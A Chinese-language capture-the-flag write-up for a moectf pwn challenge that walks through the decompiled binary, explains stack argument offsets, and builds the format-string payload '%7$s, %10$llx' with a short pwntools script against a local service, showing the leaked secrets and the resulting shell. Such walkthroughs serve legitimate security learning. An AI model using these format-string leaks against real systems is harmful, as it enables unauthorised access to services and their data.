本文为人工撰写,仅使用生成式AI校对。

题目链接

IDA,然后IDA。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v4; // [rsp+8h] [rbp-88h]
  char s1[16]; // [rsp+10h] [rbp-80h] BYREF
  char s2[16]; // [rsp+20h] [rbp-70h] BYREF
  char s[88]; // [rsp+30h] [rbp-60h] BYREF
  unsigned __int64 v8; // [rsp+88h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = (char *)malloc(0x20uLL);
  generate(s2, 5LL);
  generate(v4, 5LL);
  puts("Hey there, little one, what's your name?");
  fgets(s, 80, stdin);
  printf("Nice to meet you,");
  printf(s);
  puts("I buried two treasures on the stack.Can you find them?");
  fgets(s1, 8, stdin);
  if ( strncmp(s1, s2, 5uLL) )
    lose();
  puts("Yeah,another one?");
  fgets(s1, 8, stdin);
  if ( strncmp(s1, v4, 5uLL) )
    lose();
  win();
  return 0;
}

注意到需要我们输入正确的s1和v4的值。

这两个值都在栈上。

根据题目提示本题为fmt

构造字符串s来读取寄存器或者栈上的数据。

依旧是根据奇妙的调用规定1,前6个参数去寄存器找,其余的在栈上找。

但因为格式化字符也是一个参数,所以是除了格式化参数外的前5个参数在寄存器上,其余在栈上。

注意到:

char *v4; // [rsp+8h] [rbp-88h]

v4在栈顶+8位置上,也就是在栈上第二位,是除格式化参数外第5 + 2 = 7个参数。

并且v4是指针,我们使用%7$s来读取。

这里我们使用%10$llx来读这个数组。

不需要%9$llx,8字节已经足够表达五位字符串。

所以最终构造字符串:

%7$s, %10$llx

于是,pwntools脚本:

from pwn import *
context(arch='amd64', os='linux', log_level='error')

io = connect("127.0.0.1", 10355)

io.sendline(b'%7$s, %10$llx')

io.interactive()

为了省事没写接收和处理。

输出:

Hey there, little one, what's your name?
Nice to meet you,zZJcA, 7272766e78
I buried two treasures on the stack.Can you find them?
$ xnvrr
Yeah,another one?
$ zZJcA
You got it!
$ ls
bin
flag
lib
lib32
lib64
libexec
pwn
$ cat flag
moectf{THIS_IS_FLAG}

这里v4读出来直接就是字符串

我们把s2数组丢进CyberChef2

From Hex

Reverse

To Hexdump

后,得到:

00000000  78 6e 76 72 72                                   |xnvrr|

故字符串为xnvrr